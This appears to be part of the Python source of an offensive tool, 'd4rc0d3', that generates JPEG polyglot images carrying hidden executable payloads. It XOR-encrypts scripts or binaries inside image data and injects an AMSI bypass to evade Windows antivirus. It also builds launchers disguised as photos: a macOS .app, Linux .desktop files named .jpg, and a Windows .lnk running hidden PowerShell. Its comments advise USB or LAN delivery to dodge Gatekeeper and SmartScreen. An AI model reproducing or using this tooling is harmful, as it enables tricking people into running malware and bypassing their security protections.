'           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                 \n'
'\n'
' d4rc0d3 v5.0 — jpeg polyglot payload generator\n'
' ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─\n'
'\n'
)
print(''.join(_LUCY))
default_img = os.path.join(os.path.dirname(__file__), 'cover.jpg')
img = input(f"Cover image [{default_img}]: ").strip() or default_img
if not os.path.isfile(img):
warn(f"Image not found: {img}"); sys.exit(1)
print(f"\n{C.BOLD}Payload type:{C.END}")
print(" 1) Inline command (runs everywhere, Slack-compatible)")
print(" 2) PowerShell .ps1 (Windows + Linux/macOS via pwsh)")
print(" 3) Script .py/.sh (Linux/macOS, base64+XOR in post-EOI)")
print(" 4) Binary .exe/.elf (any platform, base64+XOR in post-EOI)")
print(" 5) Combined: command + file")
ptype = input("Type [1]: ").strip() or '1'
command = ''
payload_file = ''
if ptype in ('1',):
command = input("Command [id > /tmp/pwned.txt]: ").strip() or 'id > /tmp/pwned.txt'
elif ptype in ('2', '3', '4'):
payload_file = input("Payload file path: ").strip()
if not os.path.isfile(payload_file):
warn(f"File not found: {payload_file}"); sys.exit(1)
elif ptype == '5':
command = input("Pre-command: ").strip()
payload_file = input("Payload file path: ").strip()
if not os.path.isfile(payload_file):
warn(f"File not found: {payload_file}"); sys.exit(1)
print(f"\n{C.BOLD}Output targets:{C.END}")
print(" 1) Polyglot JPEG only")
print(" 2) Polyglot + macOS .zip")
print(" 3) Polyglot + Linux .jpg (content detection)")
print(" 4) Polyglot + Linux .jpg.desktop")
print(" 5) Polyglot + Windows .lnk")
print(" 6) All")
targets_in = input("Targets [6]: ").strip() or '6'
targets = set()
if '1' in targets_in or '6' in targets_in: targets.add('polyglot')
if '2' in targets_in or '6' in targets_in: targets.add('mac')
if '3' in targets_in or '6' in targets_in: targets.add('linux-jpg')
if '4' in targets_in or '6' in targets_in: targets.add('linux-dot')
if '5' in targets_in or '6' in targets_in: targets.add('windows')
if not targets: targets = {'polyglot'}
amsi = input("Inject AMSI bypass (Windows AV evasion)? [Y/n]: ").strip().lower() != 'n'
out = input("Output directory [.]: ").strip() or '.'
show = input("Open image viewer on execution? [y/N]: ").strip().lower() == 'y'
return img, command, payload_file, targets, amsi, out, show
# ── Main ────────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
prog='d4rc0d3',
description='JPEG polyglot payload generator — image that executes on open',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent("""\
PAYLOAD TYPES:
-c "cmd" inline command (Slack-safe, works everywhere)
file.ps1 PowerShell script (XOR-encrypted in ICC profile)
file.py / .sh script (base64+XOR in post-EOI, Linux/macOS)
file.exe / .elf binary (base64+XOR in post-EOI)
-c "cmd" file.ps1 combined: command runs first, then file
EXECUTION:
Linux/macOS: sh photo.jpg
Windows: powershell -ExecutionPolicy Bypass -File photo.jpg
PowerShell: Rename to .ps1, then pwsh photo.ps1
Double-click: use --mac / --linux / --windows flags
EXAMPLES:
python3 d4rc0d3.py -c photo.jpg "id > /tmp/p.txt"
python3 d4rc0d3.py photo.jpg payload.ps1 --windows --mac --linux
python3 d4rc0d3.py -c photo.jpg "calc.exe" --windows -o /tmp/out/
python3 d4rc0d3.py photo.jpg shell.py --linux --amsi -o /tmp/out/
"""),
)
parser.add_argument('image', nargs='?', help='Cover JPEG/PNG image')
parser.add_argument('payload', nargs='?', help='Payload file (.ps1/.py/.sh/.exe/...)')
parser.add_argument('-c', metavar='CMD', help='Inline shell command')
parser.add_argument('--mac', action='store_true', help='Also generate macOS .app bundle (ZIP)')
parser.add_argument('--linux', action='store_true', help='Also generate Linux .jpg (content detection)')
parser.add_argument('--linux-dot', action='store_true', help='Also generate Linux .jpg.desktop')
parser.add_argument('--windows', action='store_true', help='Also generate Windows .lnk')
parser.add_argument('--all', action='store_true', help='Generate all platform outputs')
parser.add_argument('--amsi', action='store_true', default=True,
help='Inject AMSI bypass for Windows AV evasion (default: on)')
parser.add_argument('--no-amsi', action='store_true', help='Disable AMSI bypass injection')
parser.add_argument('--show', action='store_true', help='Open image viewer on execution')
parser.add_argument('--keep', action='store_true', help='Keep extracted payload file')
parser.add_argument('-d', '--extract-dir', default='', help='Extraction directory (default: /tmp)')
parser.add_argument('-o', '--output', default='.', help='Output directory (default: .)')
args = parser.parse_args()
has_flag = any([args.image, args.c, args.mac, args.linux,
getattr(args, 'linux_dot', False), args.windows, args.all])
if not has_flag:
image, command, payload_file, targets, amsi, out, show = interactive()
else:
image = args.image or ''
command = args.c or ''
payload_file = args.payload or ''
amsi = args.amsi and not args.no_amsi
out = args.output
show = args.show
if not image:
parser.error("cover image is required")
if not command and not payload_file:
parser.error("provide -c 'command' or a payload file")
targets = {'polyglot'}
if args.mac or args.all: targets.add('mac')
if args.linux or args.all: targets.add('linux-jpg')
if getattr(args, 'linux_dot', False) or args.all: targets.add('linux-dot')
if args.windows or args.all: targets.add('windows')
if not os.path.isfile(image):
warn(f"Image not found: {image}"); sys.exit(1)
if payload_file and not os.path.isfile(payload_file):
warn(f"Payload not found: {payload_file}"); sys.exit(1)
os.makedirs(out, exist_ok=True)
name = stem(image)
poly_path = os.path.join(out, f"{name}.jpg")
generated = []
# ── Build polyglot ─────────────────────────────────────────────────────
head("Building JPEG polyglot")
try:
build_polyglot_av(image, poly_path, command, payload_file,
show, getattr(args, 'keep', False),
getattr(args, 'extract_dir', ''), amsi)
except Exception as e:
warn(str(e)); sys.exit(1)
ok(f"Polyglot JPEG → {poly_path} ({os.path.getsize(poly_path):,} bytes)")
ptype = 'inline command' if command and not payload_file else \
payload_type(payload_file) if payload_file else 'command+file'
info(f"Payload type: {ptype}")
info(f"AMSI bypass: {'injected' if amsi else 'skipped'}")
info(f"XOR key: embedded in ICC profile (offset 102)")
generated.append(('Polyglot JPEG', poly_path))
# ── Platform-specific launchers ────────────────────────────────────────
exec_cmd = command or f'sh "{poly_path}"'
if 'mac' in targets:
head("macOS .app bundle")
try:
z = build_macos(image, exec_cmd, out)
ok(f"macOS ZIP → {z} ({os.path.getsize(z):,} bytes)")
info(f"Finder shows: '{name}.jpg' (single .app extension, .app hidden by Finder)")
info(f"Double-click → Preview opens photo + payload runs in background")
info(f"Delivery: USB/LAN share to avoid Gatekeeper quarantine")
generated.append(('macOS (.app in ZIP)', z))
except Exception as e:
warn(f"macOS build failed: {e}")
if 'linux-jpg' in targets:
head("Linux .desktop (named .jpg)")
try:
# Use a distinct stem so it doesn't overwrite the polyglot
linux_img_copy = os.path.join(out, f"{name}_launch.jpg")
import shutil
shutil.copy2(image, linux_img_copy)
d = build_linux(linux_img_copy, exec_cmd, out, jpg_name=True)
ok(f"Linux .jpg → {d} ({os.path.getsize(d)} bytes)")
info(f"Name visible: '{name}_launch.jpg' (no .desktop in filename)")
info(f"Thunar / Nemo / Caja: executes on double-click (GIO content detection)")
info(f"Nautilus (GNOME): may show 'Trust and Launch' dialog")
generated.append(('Linux (content detection)', d))
except Exception as e:
warn(f"Linux build failed: {e}")
if 'linux-dot' in targets:
head("Linux .desktop (explicit extension)")
try:
d = build_linux(image, exec_cmd, out, jpg_name=False)
ok(f"Linux .desktop → {d} ({os.path.getsize(d)} bytes)")
info(f"Name visible: '{name}.jpg.desktop'")
info(f"All major file managers execute without dialog (except Nautilus)")
generated.append(('Linux (.desktop)', d))
except Exception as e:
warn(f"Linux .desktop build failed: {e}")
if 'windows' in targets:
head("Windows .lnk launcher")
try:
ps_cmd = (
f'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
f'-File "{os.path.abspath(poly_path)}"'
)
lnk = build_windows_lnk(poly_path, out)
ok(f"Windows .lnk → {lnk} ({os.path.getsize(lnk)} bytes)")
info(f"Explorer shows: '{name}.jpg' (Explorer hides .lnk by default)")
info(f"Double-click → PowerShell runs the polyglot silently")
info(f"Requires: PowerShell (pre-installed on all modern Windows)")
info(f"SmartScreen: may warn for files from internet (deliver via USB/LAN)")
generated.append(('Windows (.lnk)', lnk))
except Exception as e:
warn(f"Windows .lnk build failed: {e}")
# ── Summary ────────────────────────────────────────────────────────────
print(f"\n{'─'*54}")
print(f"{C.BOLD}Generated:{C.END}")
for label, path in generated:
print(f" {C.GREEN}{C.END} [{label}]")
print(f" {path}")
print(f"\n{C.BOLD}Execution reference:{C.END}")
print(f" Linux / macOS: sh {os.path.basename(poly_path)}")
print(f" Windows: powershell -ExecutionPolicy Bypass -File {os.path.basename(poly_path)}")
print(f" PS rename: ren {name}.jpg {name}.ps1 && pwsh {name}.ps1")
if 'mac' in targets:
print(f" macOS click: extract {name}.zip → double-click {name}.jpg")
if 'windows' in targets:
print(f" Windows click: double-click {name}.jpg.lnk (shows as {name}.jpg)")
print(f"{'─'*54}\n")
if __name__ == '__main__':
main()